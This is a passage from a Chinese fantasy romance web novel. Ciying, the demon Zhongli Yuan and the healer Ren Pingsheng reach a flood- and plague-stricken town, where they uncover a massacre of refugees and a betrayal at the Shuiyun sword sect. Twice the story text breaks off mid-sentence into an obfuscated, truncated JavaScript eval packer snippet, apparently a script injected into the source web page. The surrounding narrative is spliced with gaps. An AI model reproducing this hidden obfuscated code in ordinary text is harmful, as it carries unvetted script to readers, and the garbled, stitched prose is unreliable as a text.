话音未落,任大夫仿佛诈尸一样从地上弹起来叫道:“你真吃了?已经吃完了?” “……” 辞盈在想要不要立刻抠嗓子吐出来。 钟离渊面色骤变,一把掐住任平生的脖子:“你什么意思?” 任平生被卡得满脸通红,直翻白眼,好半天才憋出一句:“药……是……真……的……” 辞盈:“那你刚才一副诡计得逞的嘴脸?” 任平生脖子重获自由,弯着腰咳得好像嗓子卡了鸡毛:“我要……咳咳……收钱……咳咳……” 辞盈:“……朋友,像你这样一惊一乍的钱串子,很可能钱没花完,人已经没了。” 钟离渊扔了个银锭,拉着辞盈就走,不料钱串子竟胆大包天地扯住了他的衣襟。 “我不要银锭!”任平生贱兮兮地追上来,“兄弟,我可是救了你的小美人啊,不会吧不会吧,该不会她在你心里只值一个银锭吧?” 好会抬价的奸商! 辞盈瞪眼:“你还想要金锭不成?再这么坐地起价,我可把你的什么什么大力丸给吐了啊!” “是理气健脾舒筋活络五福补心大还丹!吐了你的病就治不好。”任平生梗着脖子。他本来长得也算清秀好看,偏偏总是一副祖上三代没见过钱的市井模样,让人很不情愿将“好看”两个字安在他身上。 钟离渊比任平生高出半个头,居高临下地瞥了他一眼:“你想要什么?” 任平生:“我要去水云剑宗。” 辞盈:“那你去呗,又没人拦着。” 任平生两手一掸青衫,一穷二白得理直气壮:“我身无长物,又不会法术,靠两条腿走到水云剑宗,沿途怕是得要饭,不划算。不如你们带我去,就当抵药钱了,你们也不费事儿,岂不两全其美?” “你去水云剑宗做什么?” “这你就别管了,我也没问你们来褚家庄做什么呀。”任平生把肩上的布袋系得更紧了些,跃跃欲试,“咱们走吧?我听说,你们不是都会御剑飞行吗,也带我体验体验呗?” 辞盈心想,任平生给她治病的事,八成会传到飞鹰堂耳朵里,他留在褚家庄怕是性命难保,不如一起走。 她转向那几个蜷在角落里既不敢走、又不想留的家丁,朗声道:“你们可看清楚了,杀人的是我。我叫辞盈,若是飞鹰堂再来为难,便叫他来水云剑宗找我。” 说完,她将佩剑置于空中,剑身泛起红蓝交织的璀璨光华,剑气比以往更盛。 两次神交,除了将她体内消化不良的修为平息不少,也显著提升了境界,如今御剑不过是小菜一碟。刚才又服了兽医给的大力丸,此刻她体内力量充盈,身轻如燕,恨不得踩着剑扶摇直上九万里。 她心情大好,敞亮地向任平生一招手:“上来吧,姐带你飞。” “好嘞。”任平生一脚踏出,却被人腾空揪着后脖领拎了起来。 钟离渊粗暴地将任平生提在手中,一脸委屈:“那我呢?” “你还用我带?自己飞呗。” 没听说过自行车出门拖航母的。 “不行,”钟离渊斜了任平生一眼,“他虽然无用,好歹算个男的,不能与你共乘。” 辞盈:“……” 这醋坛子还扶不起来了,走到哪儿酸到哪儿。 “那你带他吧,我自己飞。” 钟离渊一脸嫌弃,毫不犹豫:“不可能。” “怎么这么麻烦。”辞盈抱着胳膊踩着剑,“我可带不动你们俩。” 任平生手扒着衣领以防自己被勒死,吃力地说:“你俩能不能……放下我……再讨论……” 钟离渊吹了声口哨,鸣蛇不知从哪儿钻出来,摇头晃脑嘶嘶吐信。这家伙是怎么做到随叫随到的? 任平生瞠目结舌:“什么东西?!这蛇比我都大……”话没说完就被钟离渊丢沙包似地扔到蛇背上,鸣蛇拉着一张主人同款嫌弃脸甩了甩尾巴,嗖地窜飞出去,留下一串“救命啊啊啊啊啊”的余音回荡在空中。 辞盈的脸抽了一下:“这样没问题吗?他抱不住掉下去怎么办?” “掉下去算他倒霉。”钟离渊轻快地蹦到她剑上,满意地一指前方,“我们出发吧。” 已是接近黄昏时分,山河远阔,鎏金红日的余晖投射在一望无际的海平面上。落日熔金,暮云合璧,本是一片美不胜收,辞盈却被微凉的风吹得心里空落落。 远山长河没入云卷云舒,她忽然觉得这一切都是虚幻缥缈,甚至可能只是自己的一场大梦。 梦里打打杀杀,辛苦又荒唐。等一朝梦醒,生活平淡如水,会不会有一点点怀念现在?可现在又有什么好怀念的?既没有wifi也没有空调,有的只是…… 她狠狠咬了一下嘴唇,以防自己长出恋爱脑。 “在想什么?” 身后的声音打断她的胡思乱想,辞盈纳闷道:“你会读心术?还是我后脑勺上写了字?” 钟离渊没回答,伸手从后面环住她的腰,微微低头,嘴唇贴着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辞盈清清嗓,转移话题,指着头顶云团:“你看你看,好像金色的棉花糖呀!” 御剑疾行,触手可及的云雾如金棉,堆积成一团团说不出的柔软,仿佛能嗅到棉花糖的香甜,大大小小,高高低低地迎面而来,又飘然而去。 颈间忽然一痒,她忍不住颤了一下。钟离渊脸埋在她肩上,轻声呢喃:“晚晚,你会离开我吗?” 离开是必然的,等积满三千功德之后。 实话是不能说的,可哄人的话到了嗓子眼,却怎么也说不出口。 不知道哪根筋搭错了,她抬起手,轻轻摸了摸他柔顺的银发:“不一定啊。”他从她颈窝里抬起头,顺势吻她的手指。 “没关系,我会去找你。” 他的声音不大,却像最虔诚的信徒:“不管你藏在哪里,我都会找到你。” 这算情话吗?怎么听着像恐吓。 辞盈受不住他灼灼的目光,别过头打岔:“是天黑了吗?云好像越来越密集了。” 乌云密布,群山和村庄笼罩在黑压压的阴霾之下,这些飞滚的乱云又不全然是乌黑的,天空中弥漫着黄尘和水雾,远远看去像蒙了一层阴森的鬼气,仿佛传说中的阴曹地府。 “那是什么?”辞盈指着地面问。 星罗棋布的地面上横七竖八地交织着又黄又粗的线。 “是水。” 水怎么会从村庄中间斜插过去? 辞盈道:“飞低一点吧,我想看清楚些。” 钟离渊沉默了两秒,才说:“别看了,你不会高兴的,是洪水。” 38. 跟你们这些有钱人拼了 为了不让她看见泡成巨人观的浮尸,钟离渊干脆直接升到云层上。直到水云剑宗地界上,才猛地刹车,疾速俯冲往下扎。 怎么说呢,过山车什么的都弱爆了,辞盈感觉自己沉浸式体验了一回坠机。人是落地了,魂儿还在天上飘。 她顶着一头风中凌乱的炸毛,愤怒道:“钟离渊,你上辈子是个雪鸮吗?谁家好人御剑垂直往下掉啊?” 钟离渊不知道用了什么缺德妖法,银发居然纹丝不乱,依然柔顺如瀑。他轻巧地从剑上跃下,还不忘理了理额前碎发,帅得毫不费力:“这样飞很有趣啊,晚晚不喜欢吗?” 这魔头怎么茶里茶气的。 辞盈四下望望:“任平生呢?他不是应该比我们先到吗?” 口哨一响,鸣蛇又从黑暗里游移出来。钟离渊一身茶气只对辞盈发癫,转向鸣蛇立刻变了脸色,冷冰冰地问:“人呢?” 鸣蛇瞪着绿豆大的眼睛,整个蛇身开始摇摆扭曲,贴地爬行,时而绷成一根绿油条,时而团成一坨西蓝花,嘶嘶嘶地像个马戏团的戏精。 辞盈眼皮跳了跳:“死了?” 鸣蛇“嗖”地立起来,光溜溜的脑袋来回摇了几下,绿豆眼里的光无比坚定。 辞盈这才松了口气。环顾四周,竟然落在了谢家堡。 洪灾影响,街上多了不少流民,找客栈的路上撞上好几波打劫的。世道乱了。穷人捂紧口袋,富人更要锁好门窗,夜里谁都不敢轻易出门。 偏偏这清冷的街上,冒出个衣着华丽的少年郎,还带着个貌美的姑娘。谢家堡的流浪汉这辈子没见过这么显眼的肥肉,哪有放过的道理? 大部分都是外镇逃命来的难民,举个菜刀就敢拦路抢劫,吓得辞盈提着十二分精神——生怕她出手慢了,身旁那位能把人脑袋拧下来喂鸣蛇。 谢家堡离水云剑宗并不算远,盗贼竟然在此处横行肆无忌惮,可见到处都已经乱了。 好不容易找到一家像样的客栈。门上牌匾金字刻着“长乐居”,门口杵着两个彪形大汉,拎着长刀,虎视眈眈地盯着往来行人。 辞盈心想,这二人长得跟钟馗似的,往这一杵虽然镇宅,却与客栈名字太违和。长乐居这样闲适的名字,须得配上风流的俏郎君来服务才说得过去。 想到这里,她不自觉瞟向钟离渊,正好对上他笑吟吟的目光。 他手里转着根竹筷子,懒洋洋地笑道:“偷看我做什么?” “谁偷看你。”辞盈做贼心虚,嗓门都拔高了。 一嗓子吵醒了门口的流浪汉。 那人脑袋埋在臂窝里靠着墙,瘦得仿佛一阵风就能吹跑,他被辞盈吵醒,抬头揉揉眼睛,突然哀嚎:“你俩可算来啦!这是什么鬼地方,穷成我这样都有人抢?” “任平生!”辞盈大吃一惊,“你怎么弄成这样了?” 几个时辰不见,他肩上的包袱没了,青衫都快零碎了,颧骨上还添了块淤青。本来他只是个落魄书生的衰样,如今这样,直接扔进丐帮也毫无违和感。 任平生哭丧着脸爬起来:“我刚落地没走几步,就被三个十来岁的小毛孩子抢了包袱,还问我要钱,我说没有钱,他们就打人……我那包袱里可都是秘制丹药,价值连城!” 旁边的持刀大汉“噗嗤”没憋住笑,为了维持凶神恶煞,狠掐了自己大腿一把。 任平生也知道“价值连城”几个字从自己嘴里说出来可信度不高,又气呼呼地补充:“光理气健脾舒筋活络五福补心大还丹就有三颗呢!早知道水云剑宗治安这么差,我才不来凑这个热闹!” “几位要住店吗?”掌柜笑眯眯地看了眼跟在后面的任平生,又问,“客官要几间房?” “两间。”钟离渊和任平生异口同声。 辞盈赶紧竖起三根手指:“别听他俩的,三间!” “不用这么浪费。”任平生抻着胳膊搭钟离渊肩膀,自来熟笑道,“我跟小少爷挤挤就行。” 钟离渊眉间的花钿都拧成了疙瘩,满脸嫌弃:“拿开你的手。” 任平生笑得没皮没脸:“怎么啦,你那蛇差点儿把我勒死,我都不计较了。说真的,你有钱住宿不如给我投资。常山是回不去了,我准备在水云剑宗这边开个药铺,小少爷,借我一点钱怎么样?以后你们小两口用药我全包了。” 辞盈:“不是,谁们小两口?我警告你别胡说八道啊,小心我把你药铺爆改成公厕。” 钟离渊眼尾上挑,满意道:“可以,我出钱,去开吧。” “……” 辞盈一掌拍得柜台乱颤:“掌柜的,三间房,给我离他们俩最远的那间!” 掌柜的赔着笑脸道:“我见姑娘随身佩剑,有一件事还得提醒几位。最近镇上不太平,夜里不管听到什么动静您都别出来看热闹,尽管休息就好。” “怎么说?” 掌柜的压低声音道:“不瞒姑娘,近来夜间常有人失踪,且都是修行之人,其中不乏法力高强的修士。” 他像是怕隔墙有耳似的,看看左右,神秘兮兮道:“听说失踪的还有水云剑宗的弟子呢!所以请各位夜里一定关紧门窗,切莫因为一时好奇而丢了性命啊。” 只对修行之人下手,难道又是错金博山炉?趁乱蹲在这附近作案,还敢对水云剑宗的弟子下手,大概是九曜派或者玄武教的人。 辞盈又想起在谢家庄抢走错金博山炉的面具人,真是毫无头绪。 “听着有点儿吓人啊。”任平生瑟缩在旁边捂着嘴小声说,“咱们别在这说了,先回房间吧。” 辞盈安慰他:“怕什么,你又没有修为,最安全了。” “晚晚,我怕。”钟离渊一条胳膊撑在柜台上,歪着脑袋眨眨眼,“万一夜里有人闯我房间怎么办?” “……那你记得下手轻点儿,留个全尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辞盈摸摸他的小脑袋:“那你一个人偷跑出来,爹娘会担心的。” “我爹娘都淹死了,是蓝衣服的道士哥哥们把我和妹妹救回来的。我妹妹饿得厉害……”男孩像是受了风寒,话没说完便剧烈地咳嗽起来。 蓝衣服道士……是水云剑宗的人。 辞盈倒了杯热水递给他,又问:“你妹妹现在在哪里?” 男孩费力压下咳嗽,一口气灌完热水,深深鞠了一躬,小大人似的彬彬有礼:“谢谢姐姐,我妹妹还在家等我,我得走了。” 辞盈把身上的碎银子都掏出来给他,嘱咐他藏好。男孩的眼睛亮得像星星,欣喜地把银子塞进鞋袜里,又鞠了一躬,转身从窗户跳了出去,很快没了踪影。 39. 疫病 一夜也没听见什么动静。直到破晓的晨光透过檀窗照在脸上,她翻了个身,街上有人骂道:“这群天杀的瘟病鬼,不老老实实在家等死,非要跑到谢家堡来祸害人!” “多亏谢家和王家联手处置了这些祸害……” 正乱着,窗外突然传来“铛铛”声,像有人急着扣门一样,推开槛窗,纯白的雪鸮扑簌簌钻进来落在桌边。她轻车熟路的解下纸卷,依然是江羡之的字: 疫病泛滥,勿回。 辞盈起身出门,钟离渊正坐在大堂门口喝茶。 他指尖轻捏着茶盏,略一抬手时,白皙劲瘦的腕间银镯在阳光下折射出锋锐的银光,像极了他那双瞳孔,淡漠得没有一丝温度。 额间一抹花钿殷红妖艳,本就过分好看的脸又平添了几分魅惑,像千年的狐妖成了精,让辞盈总怀疑他下一秒就会甩出一只毛茸茸的狐狸尾巴。 这少年目光虽冷,神情却懒散得很,可谓站没站相坐没坐相,大咧咧翘着二郎腿,一边啜茶,一边捡着盘子里的花生往嘴里抛。 换作旁人如此,定是副讨嫌的无赖模样。可他仗着那张惊为天人的脸,不仅不让人反感,反倒透出几分风流顽皮,路过的男女老少,目光都忍不住在他身上多缠留片刻。 他回头瞧见辞盈,便放下二郎腿,又拉过一张木椅,笑着拍了拍椅背:“醒了?过来坐。” “大清早怎么这么吵?”任平生睡眼惺忪,顶着乱蓬蓬的脑袋出来。 辞盈走过去,却没坐下,而是绕到钟离渊身后,素手扶上椅背,笑嘻嘻歪着脑袋看他。 钟离渊瞟了眼她黄鼠狼给鸡拜年的奸相,眉头一皱:“我不同意。” 辞盈撇嘴:“我说什么啦你就不同意?” “那你说。” 辞盈:“待会儿我想一个人去水云剑宗把事情说清楚,你就别去了。万一真打起来,谁受伤都不好。” 钟离渊不以为然:“这世上,还有人能伤得了我?” 辞盈认真想了想:“可在幻境里,你被吸走了好多修为啊。你看我现在这么强,是不是正说明你损失惨重?” 钟离渊一脸看傻子的表情:“你听说过用木瓢掏空大海的吗?” “……” “对对对,你最厉害了。”辞盈海豹鼓掌,“可是考虑到你和水云剑宗的关系,我觉得你还是不要上山,就留在客栈等我,我办完事就回来,好不好?” 钟离渊扬眉:“你就是想甩掉我,好去找你的师尊?” 阅读理解满分选手,上纲上线超在行。 “我什么时候说……”辞盈对上他冷如锋刃的眼神,意识到硬是硬不过他的,于是腰一塌,双臂从身后环在他颈间,脸亲昵地压在他肩头: “怎么会呢,坏蛋,你不要诬赖人家嘛。” 任平生:“……” 掌柜:“……” 钟离渊坐得直如钢板,喉结上下滚了滚,讷然出声:“两个时辰,我在这等你。” 呵呵,果然他就吃这一套。 “你知道水云剑宗的山有多高吗?两个时辰都不够我爬到云麓殿的。” 钟离渊哂笑:“那是从前,你如今的修为大可以直接御剑飞上去。” 这话倒没错。托两位大神仙和人渣李贽的福,她身上不劳而获的修为足够她绕着暮苍山飞几个来回都绰绰有余。 可她现在就像个一夜暴富的苦逼打工人,巨额遗产从天而降,根本不知道怎么花,见着路边的砖还想搬,见着螺丝钉就得上去拧两圈。 再怎么说两个时辰也太短了,万一师尊恰巧不在云麓殿呢? 她索性把心一横,在钟离渊脸上轻轻亲了一下,然后嘟着嘴可怜巴巴地望着他。 任平生:“……我就说开三间房是浪费钱吧。” “天黑之前回来。” 钟离渊连喝三杯凉茶,才压下从嗓子眼一路烧到心里的火,又补充道,“若迟了,我就上山去寻你,见一个杀一个。 辞盈望着他故作凶狠的表情,忽然发觉,很多时候他都在扮演“暴君”罢了。 三百年囚禁,他与水云剑宗可谓仇深似海。按他给自己定的残暴人设,早就该杀上暮苍山血洗剑宗了。 可事实呢?他就乖乖窝在曾经囚禁他的山脚下的小客栈里放狠话,像个惨遭遗弃的小朋友,叉着腰跺脚虚张声势,十分可爱。 她忍不住用指尖戳他的脸,笑道:“知道啦,我办完事立刻就回来。” “那个……二位,我插句嘴行吗?”任平生挤过来,谄媚地嘿嘿一笑,“你去水云剑宗,能带上我不?” “不能。” “不能。” 两人各怀心思,异口同声回绝。 任平生:“为啥啊?” 钟离渊:“我都没机会陪她,你凭什么?” 任平生摸摸自己清瘦的脸,不解道:“我长得这么让你有危机感?虽说我是好看了点,但你得有自信啊。男人嘛,最重要的就是自信……哎,我怎么倒过来了?这位少侠,有话好说别动手啊,你这情绪不太稳定,我给你开两副调节情绪的药?你先放我下来好不好……” 疫情如此严重,世道又乱,水云剑宗想必已经忙不过来了。不知道师尊此刻在做什么,有没有时间处理游乘风的事。 希望一切顺利吧。 辞盈沿街快步走了一段,打算找个不起眼的地方御剑。 街道两侧,大部分商铺都门窗紧闭。前方却有一行几十人的队伍在游荡,老老少少都用面纱罩着口鼻,背着扛着大小包裹,像是在搬家。 队伍前后各有两个衣着统一的男人随行,最后头的男子打扮光鲜富贵,面纱上露出的半张脸透着和善,虽然与众人保持着距离,却会不时提醒他们注意脚下,小心摔倒。 年迈的老夫妻互相搀扶着走得缓慢,落在队伍最后。老太太咳得厉害,腰背佝偻得像只虾,吃力地问:“大人,还有多远啊?” “您客气了,我只是替王家做事的帮手。”男子温和地笑道,“再坚持一会儿,就要到了。” 旁边六七岁的小女孩扎着两绺小麻花辫,背着迷你包裹,兴致勃勃地仰起小脸问:“娘,我们到底要去哪里呀?” 女子牵着女孩的手,小心地绕过路边支出来的摊位,耐心解释:“有好心的叔叔给咱们安排了统一的住所,咱们今晚能睡个好觉了。” 小女孩舔了一下破皮的嘴唇:“娘,我饿了。” 旁边的男子又道:“小妹妹,快点儿走,等到地方就有好吃的了。” “多谢您了。”女孩的父亲扛着两个破旧的大包,呼哧呼哧地喘着粗气。 恰巧女孩走到身边,辞盈掏出一块纸包牛轧糖递给她:“喏,给你吃。” 无人注意的角落,一点极不起眼的莹莹金光趁机闪烁着,钻进了女孩袖口。 “谢谢姐姐。” 跟队伍走了一段,辞盈选了个隐蔽处,御剑而起。 冬季的暮苍山,寒风习习,枝桠萧瑟。偶尔有不怕冷的鸟儿在树枝上跳跃,叫声却不像夏天那般清脆悦耳,反倒添了几分凄凉。 辞盈打了个寒颤,总觉得今日格外冷。 为防流民或者闲杂人等乱闯,王莽奉命领着一群外门弟子把守山门,远远看见一个婀娜的身影。 那娇俏女子腰间佩剑,带着两米八的气势,昂首阔步而来。竟然是她!那个勾引魔头又勾结花妖的倒霉圣女! 王莽明知故问,高喝:“来者何人?” 辞盈懒得答话,只旁若无人地朝山门走去。王莽一声令下,众弟子不敢含糊,立刻列阵御敌。 远山层叠,近雾缭绕,那清 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王莽跑到旁边草丛里捡回剑,气势已弱了大半。他将长剑入鞘,当拐杖似的支着地面,改口道:“老祖有令,这几日不准任何人随意出入。我也不与你为难,你若识趣,就自行下山吧。” 辞盈依旧淡然:“我要见师尊。” “那你更别想了,宗主不在剑宗。”王莽怕她不信,又补充道,“宗主带人出去救灾了。” 辞盈自然不信。 王莽转身使唤新来的弟子:“你来说!” 小弟子赶紧竹筒倒豆子似地开始讲。 “啊,是的。那日听闻附近几十个乡镇遭了水害,老祖说,修仙之人不该干涉尘事。可宗主却说,水云剑宗向来以护佑一方百姓为己任,如今水害成灾,流民生计危在旦夕,怎能坐视不理。” 这小弟子以前大概是茶馆说书的,记性好不说,讲得还绘声绘色。模仿起墨让尘时,连他那一本正经敛眉的神态都学得一模一样。没错,师尊犟起来,就是那副冰山般冷峻的模样。 “老祖又说,吾等修行大道,当为天下计,而非拘泥于区区几个村镇。宗主就说,何谓大道,何谓天下?大道至简,万宗归一,水云剑宗为天下计,也为一人计……” 王莽在他脑袋上拍了一巴掌:“听着都绕晕了,简单点说!” 小弟子缩了缩脖子:“然后宗主就带人去救灾了,一直没回来。” 果然够简单。 另一个小弟子也补充:“是真的!临走时,食堂卓师傅还蒸了好几锅馒头,让宗主他们带着去救人呢。” 辞盈揣测小弟子的话有几分可信。 师尊不在,游乘风的事若是向老祖禀报,不知道老祖会不会为了水云剑宗和师尊的声誉包庇他。毕竟在老祖眼中,只有水云剑宗才是最重要的,其它的都是个屁。 可是萧阳又为什么会向师尊提亲呢?她来都来了,怎么得见师兄一面问清楚吧? 师尊既然不在,她也不想硬闯,便正色道:“那请代为通传,就说辞盈有事,请江羡之师兄出来一见。” 小弟子道:“江羡之师兄也随宗主一同去了。” 话音未落,一声惨叫从极远处传入耳洞,声音不大却清晰得很。 “爹爹!啊——” 传音荧惑里声音带着哭腔,是刚才那个女孩,果真被她猜中,那几个自称王家派来安顿的人很有问题! 来不及多说,辞盈碾碎一张传送符,瞬间抵达,却惊得说不出话来。 这是一片人迹罕至的荒地,四周有灌木遮挡,中间挖出了一个巨大的方形深坑,边长约有十几米,深度却无法目测,因为大坑里横七竖八的填满了死人。 一座真正的尸山。 40. 尸山 说是尸堆,又不全对。层层叠叠的躯体间,还有些人气息尚存,挣扎着往外爬。坑边戴着面纱的人眼都不眨,一铁锹拍下去,血肉模糊。 坑沿摆着油桶,手持火把的打手站在远处,与同伴说笑。 辞盈在尸堆边看见一件眼熟的灰色小褂。 正是昨天晚上偷豌豆黄的小男孩,白嫩的脸皮已经灰暗如纸,葡萄般的大眼睛还瞪着,显然已经死了很久,他手边的小女孩大概就是妹妹,稚嫩的脖子扭断了,姿态诡异地塞夹在一堆尸体肉身中间。 辞盈脑袋里“嗡”的一声,耳鸣像尖锐的长针直扎脑仁,眼前的世界猛地晃了晃,一股彻骨的寒意从脚底窜起,仿佛瞬间坠入冰窖。 这身体不对劲,她好像生病了。 麻花辫女孩的父亲突然惨叫一声,后心被砍了一刀,倒在地上抽搐,鲜血汩汩涌出。女孩在母亲怀里缩成一团,惊恐地望着坑边的打手。不远处的老夫妻早已瘫软在地,连爬的力气都没了。 那个衣着富贵的男子,脸上依旧挂着和善的笑,语调平静:“小妹妹别怕,到了另一个世界,就什么好吃的都有了。” 有个精瘦的年轻人不甘心就这样送命,刚从包裹里摸出匕首,立刻被五六个持刀的打手围得水泄不通。 刀刃闪着寒光,对着年轻人狠狠劈下—— 蓦地,一道金光乍现! 打手的长刀像撞了邪,猛地转了半圈,竟对着他自己的脑袋劈了下去!“噗嗤”一声切入骨肉,那张脸当场被劈成两半! “什么人?!” “没人啊!!!” “见……见鬼了!” 其他人脸都白了,刀一扔就往死里逃。可那把长刀却似有灵性,穷追不舍,一刀一个,不过片刻,哭嚎声就消失了。 为首的锦衣男子仓皇逃窜,被飞来的刀刃死死抵住喉咙。他伪善的面具终于碎裂,脸上爬满慌张,对着空气磕磕巴巴求饶:“别、别杀我……” 辞盈缓缓从暗处走出,面无表情地盯着他:“为什么要这么做?” 男子慌不择言:“不是我……我只是替王家做事!王家你知道吗?我们二少爷可是水云剑宗的红人,水云剑宗你总该知道吧……” 又是水云剑宗!这几天她剑下每个恶人报的都是水云剑宗的名字,辞盈怒不可遏,剑刃又往前顶:“我问你为什么要这么做!” 男子惊惧交加,哭出声来:“如果不杀这些流民,他们就会把瘟疫传遍全城,到时候大家都要死!何况他们还偷钱抢粮,我们的日子也不好过啊!” “你觉得他们该死,就可以随意滥杀?”辞盈的声音冷得像霜,“好,我现在也觉得你该死……” “求女侠饶命!”男子“扑通”跪地,“我也是奉命行事啊!我家里还有妻儿父母,我若死了他们也会饿死的!求女侠可怜我全家老小!” 辞盈只觉身体越来越沉,肺腑像塞了团浸水的棉花,每喘一口气都带着丝丝拉拉地疼。恍惚间,那男子竟像水塘里的泥鳅般滑溜,趁机溜走了。 她摸了摸腰间的剑,回头看了眼尸山旁惊魂未定的流民,终究没再追。又摸出一张传送符,捏成了碎沫。 另一边,王莽正叉着腰教训新来的弟子,冷不防被人一脚踹在后背,“噗通”一声扑倒在地,摔了满脸泥。他气急败坏地爬起来刚要破口大骂,纤薄的剑刃已架在脖子上。 “你怎么又回来了?”刀剑无眼,王莽语气虽冲,脑袋却不敢动分毫。 辞盈浑身发冷,头疼欲裂,多一句废话都不想说,直接道:“马上传话给你们王家,不准再滥杀流民。否则,我随时取你狗命。” 话音刚落,风声骤起,辞盈瞳孔猛地一缩——一股强大的剑意正从头顶直劈而下! 她来不及抬头,凭直觉横剑阻挡。剑锋相撞的瞬间,实力高下立判。 来人法力深厚,剑气激荡,周围一众弟子都被震翻在地。 辞盈本就拖着病体发虚,哪禁得住这雷霆一击?登时虎口发麻,膝盖一软,“咚”地跪坐在地上。可胳膊却不敢松,依旧拼尽全力扛着头顶压下来的剑。 传功长老身材精瘦,剑力却重如泰山。他缺了两颗门牙的嘴漏着风,怒喝道:“小丫头,水云剑宗岂容你撒野!” 辞盈臂上不敢有半分松懈,勉强提气:“王家残害流民百姓,我师尊师兄辛苦救回来的人,难道就任他们滥杀吗?” 传功长老一愣,转头问王莽:“可有此事?” “绝对没有!师父明鉴,都是这妖女对我怀恨在心,有意栽赃!” 王莽犹如窦娥附体,冤得鼻涕眼泪乱飞。哪有师父不信自己徒弟信外人的,传功长老毫不怀疑地点头道:“我料想亦是如此。” “尸坑尚在,长老可与我一同前去查验!” 王莽急忙道:“不可信她!她定是叫那魔头埋伏在外面,师父切莫上当!” “钟离渊若想杀你们,还用得着埋伏?” 辞盈想冷笑,可是嗓子疼得厉害,冷笑变成了连串剧烈的咳嗽,王莽往后跳了一大步,失声叫道:“你染了疫病!” 传功长老叹道:“今日剑宗有客,别让玄武教看了笑话,你若保证日后不再回来捣乱,老夫便放过你。” 辞盈胸腔里仿佛燃着一团火,灼热地烧到嗓子眼,身上却冷得打哆嗦。 林间惊鸟成群掠过,几道轻盈凌厉的剑影一闪而逝,半山腰隐隐荡起回音: “宗主回来了!” 所有人同时色变。 传功长老急道:“你还不走,是仗着有宗主撑腰便无法无天了吗!” 辞盈撑着剑的胳膊已经麻木,几乎是只凭着意念支撑,咬牙道:“长老,今日我定要见到师尊!” 猝不及防的,背后猛然袭来一掌,狠狠拍在她后心! 本就在燃烧的肺腑几乎被震得支离破碎,辞盈“噗”地吐出一口鲜血,眼前一黑,昏死过去。 “你……”传功长老没料到事情会闹成这样,一时愕然。 游乘风身姿挺拔,彬彬有礼,抱拳拱手道:“玄武教萧阳已在剑宗居留数日,今日师尊终于归来,自当全心商讨正事。圣灵珠关系苍生福祉,至关重要,绝不可让师尊在此时为了不相干的人和事分神。” “你说的很有道理。”传功长老道,“可是她……” 游乘风垂首,恭敬道:“辞盈乃是我同门师妹,乘风为剑宗,为苍生,只好大义灭亲,若师尊怪罪下来,乘风甘愿受罚!” 传功长老想起那日在刑台上墨让尘的态度,摇摇头道:“此事绝不能让宗主知道,否则恐怕会出大乱子。王莽,你快处理了吧。乘风,你随我去云麓殿听宗主议事。” “是!” 好冷……怎么会这么冷,仿佛血液都结冰,连骨头缝里都冻得生疼。 好疼……像有根钢钉在往脑袋里锤,一下比一下砸得用力。 救命啊。 辞盈闻到空气中弥漫着血腥和令人作呕的尸臭。睁开眼,正对着一张僵硬发灰的死人脸。 阴云盖顶,山风呼啸,死寂得可怕。 她被夹在堆叠的尸山里,干燥的嘴唇徒劳地张了张,发不出一丝声音。 就要这样死了吗?或者,我是不是已经死了?为什么死了还这么疼? 空中虎视眈眈盘旋的,是飞鹰还是秃鹫,耳边吠叫的,是野狗还是山狼? 黑暗中,有什么阴森诡异的东西在靠近,垂涎着圣女的血肉,贪婪而凶狠地扑来,却在一道灼热的红光中,瞬间灰飞烟灭。 那个跪在尸堆里,一具一具拼命翻找的人是谁。 他怎么好像疯了一样,眼睛比衣服还红。 他……好像看到我了。 身上一轻便被抱了起来,手臂硬得硌人,腕间银镯冰凉,鼻息间萦绕着他滚烫的气息。脸贴在他温热的胸口,能听见他的心脏砰砰狂跳,像是惊魂未定一般,一下一下撞在她耳侧。 如同倦鸟归巢,辞盈安心地闭上眼,沉沉睡了过去。 昏昏沉沉间,好像被人灌了一碗汤药。再醒来时,床边只坐着个清秀的瘦子,搭了搭她的脉,笑着吹牛:“这么快就醒了?我可太厉害了。回头你得帮我宣扬出去,就说任神医妙手仁心,能起死回生,恩同天地,芳垂万世。” 辞盈声音哑得像破锣:“他呢?” “睁眼就找你的小郎君,也不说谢我一句。”任平生撇嘴,“他去水云剑宗了。” “什么!”辞盈一急,又咳得上气不接下气。 “慢点慢点,别激动。你要是咳死了,我怎么跟他交代?”任平生连忙安 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十几年前,水云剑宗和玄武教的关系还算亲厚。萧阳的夫人代茵,与江鹤川的夫人叶棠也是旧识。一日,二人结伴出游,不巧遇上了凶兽梼杌。那怪兽长着人面虎爪,满口猪牙,生性好战,一旦缠斗便不死不休。 等众人赶来营救时,叶棠和代茵都已身受重伤。叶棠侥幸服下了药王谷的丹药,起死回生。萧阳也去药王谷求药,却被告知起死回生的神药只有一颗。萧阳自然不信,盛怒之下,竟血洗了药王谷,连几岁的幼童都没放过。 可他杀尽谷中弟子,把药王谷翻了个底朝天,也没找到灵药,只能勉强用药吊着妻子的命,多留了几年。 山穷水尽时,一个戴面具的神秘人找到萧阳,声称有起死回生的神药。萧阳别无他法,只能姑且相信。 谁知代茵服药不到一刻,便七窍流血而亡——那药竟是剧毒。萧阳悲痛欲绝,断指发誓要将那神秘人找出来,千刀万剐。 众人猜测,那面具人大概是药王谷侥幸逃脱的弟子。 面具人…… 辞盈脑海中闪过两次交过手的神秘人。 “你……”她顿了顿,想问什么,又咽了回去。 任平生看出她的疑问,轻松地笑道:“我可没钱买面具。” “你为什么要告诉我这些?”辞盈问,“难道不怕传出去萧阳会追杀你?他可不管你冤不冤枉。” “他不会怀疑我。”任平生道,“因为面具人来送药的时候,我也在场。” “什么意思?”辞盈不解,“你既然不是与面具人一伙的,那便是……” 那便是,他当时就在玄武教?可他又是药王谷后人,也就是说,萧阳当年屠尽药王谷,竟唯独留了他一命? 这个话多又不狠的瘦子,究竟有什么魔力,能在大屠杀中死里逃生? 